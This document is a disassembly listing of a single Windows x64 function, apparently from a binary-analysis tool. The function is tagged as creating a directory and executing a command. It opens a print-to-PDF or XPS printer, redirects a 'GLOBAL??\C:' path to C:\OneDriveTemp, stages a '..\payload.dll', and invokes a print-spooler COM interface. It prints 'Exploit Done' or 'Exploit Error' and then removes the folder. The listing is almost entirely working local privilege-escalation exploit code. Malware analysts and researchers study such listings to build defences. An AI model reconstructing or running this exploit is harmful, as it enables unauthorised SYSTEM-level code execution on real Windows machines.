Function at 0x140003640
Capabilities:
Create directory
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x260]
sub rsp, 0x360
mov rax, qword [0x140016010]
xor rax, rsp
mov qword [rbp + 0x250], rax
mov rdi, rdx
mov ebx, ecx
lea rcx, [rsp + 0x60]
call fcn.14000d590
mov dword [rbp + 0x18], 8
xorps xmm0, xmm0
movdqu xmmword [rbp + 8], xmm0
lea rcx, str.Microsoft_Print_to_PDF
mov qword [0x140016cb0], rcx
lea r8, [rbp + 8]
lea rdx, [rbp - 0x50]
call qword [sym.imp.WINSPOOL.DRV_OpenPrinterW]
test eax, eax
jne 0x14000370c
lea rcx, str.Microsoft_XPS_Document_Writer
mov qword [0x140016cb0], rcx
lea r8, [rbp + 8]
lea rdx, [rbp - 0x50]
call qword [sym.imp.WINSPOOL.DRV_OpenPrinterW]
test eax, eax
jne 0x14000370c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Get_Name_Error__d_n
call fcn.140001230
xor eax, eax
mov rcx, qword [rbp + 0x250]
xor rcx, rsp
call fcn.14000d9b0
lea r11, [rsp + 0x360]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
cmp ebx, 1
jle 0x140003755
mov ecx, esi
mov rdx, qword [rdi + 8]
lea r8, str._force
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140003755
cmp rcx, 7
jne 0x140003730
lea rcx, str.Force_Mode_On_n
call fcn.140001230
call fcn.140003330
call fcn.140001620
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
xor edx, edx
lea rcx, str.C:OneDriveTemp
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, str.C:OneDriveTemp
lea rdx, str._s_temp.xml
lea rcx, [rbp + 0x40]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, str.rpcrt4.dll
lea rcx, [rbp + 0x40]
call fcn.140001ec0
mov qword [rbp - 0x38], rsi
lea rdx, [rbp + 0x30]
lea rcx, str.D54378CD_91D8_4E10_A00B_819F9A9EFCB1
call qword [sym.imp.ole32.dll_CLSIDFromString]
nop
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x1400037bf
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov qword [rbp - 0x38], rsi
lea rax, [rbp - 0x38]
mov qword [rsp + 0x20], rax
lea r9, [0x1400109a0]
xor edx, edx
lea r8d, [rdx + 4]
lea rcx, [rbp + 0x30]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140003a62
lea rax, [rbp - 0x30]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x2c]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x28]
lea rdx, [rbp - 0x24]
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.ole32.dll_CoQueryProxyBlanket]
test eax, eax
jne 0x140003a84
mov eax, dword [rbp - 0x30]
mov dword [rsp + 0x38], eax
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 3
mov eax, dword [rbp - 0x2c]
mov dword [rsp + 0x20], eax
mov r9, qword [rbp - 0x40]
mov r8d, dword [rbp - 0x28]
mov edx, dword [rbp - 0x24]
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
lea rcx, [rbp - 0x18]
test eax, eax
jne 0x140003a39
lea rdx, str.._payload.dll
call fcn.140004b20
mov rcx, rax
call fcn.140001fa0
lea rdx, str.__C:
lea rcx, [rbp - 0x18]
call fcn.140004b20
nop
lea rdx, str.GLOBAL__C:OneDriveTemp
lea rcx, [rbp + 8]
call fcn.140004b20
nop
lea rax, [rsp + 0x70]
mov qword [rbp - 0x50], rax
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 8
cmovae rdx, qword [rbp + 8]
lea rcx, [rsp + 0x70]
call fcn.140004b20
mov rbx, rax
lea rdx, [rbp - 0x18]
cmp qword [rbp], 8
cmovae rdx, qword [rbp - 0x18]
lea rcx, [rbp - 0x70]
call fcn.140004b20
nop
mov r8, rbx
mov rdx, rax
call fcn.14000d780
mov rbx, rax
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x140003a57
mov r10, qword [rcx]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x40], esi
lea rax, str.xxx1
mov qword [rsp + 0x38], rax
lea rax, str.abc1
mov qword [rsp + 0x30], rax
mov r9, qword [0x140016cb0]
mov qword [rsp + 0x28], r9
mov qword [rsp + 0x20], r9
lea r8, [rbp + 0x40]
xor edx, edx
call qword [r10 + 0x18]
mov edx, dword [rbp - 0x20]
cmp edx, 0x80070006
je 0x14000395a
lea rcx, str.Exploit_Error_0x_x_n
call fcn.140001230
jmp 0x140003966
lea rcx, str.Exploit_Done_n
call fcn.140001230
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001620
lea rcx, str.rmdir__S__Q_C:OneDriveTemp
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 8
jb 0x1400039e0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400039da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400039da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000dc5c
nop
mov rdx, qword [rbp]
cmp rdx, 8
jb 0x140003a24
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a1e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003a1e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000dc5c
nop
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x140003a34
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
jmp 0x1400036e2
xor r9d, r9d
xor r8d, r8d
mov edx, eax
call fcn.140001830
lea rdx, [0x140013cd0]
lea rcx, [rbp - 0x18]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov ecx, 0x80004003
call fcn.14000e630
nop
xor r9d, r9d
xor r8d, r8d
mov edx, eax
lea rcx, [rbp - 0x18]
call fcn.140001830
lea rdx, [0x140013cd0]
lea rcx, [rbp - 0x18]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
xor r9d, r9d
xor r8d, r8d
mov edx, eax
lea rcx, [rbp - 0x18]
call fcn.140001830
lea rdx, [0x140013cd0]
lea rcx, [rbp - 0x18]
call sub.VCRUNTIME140.dll__CxxThrowException
int3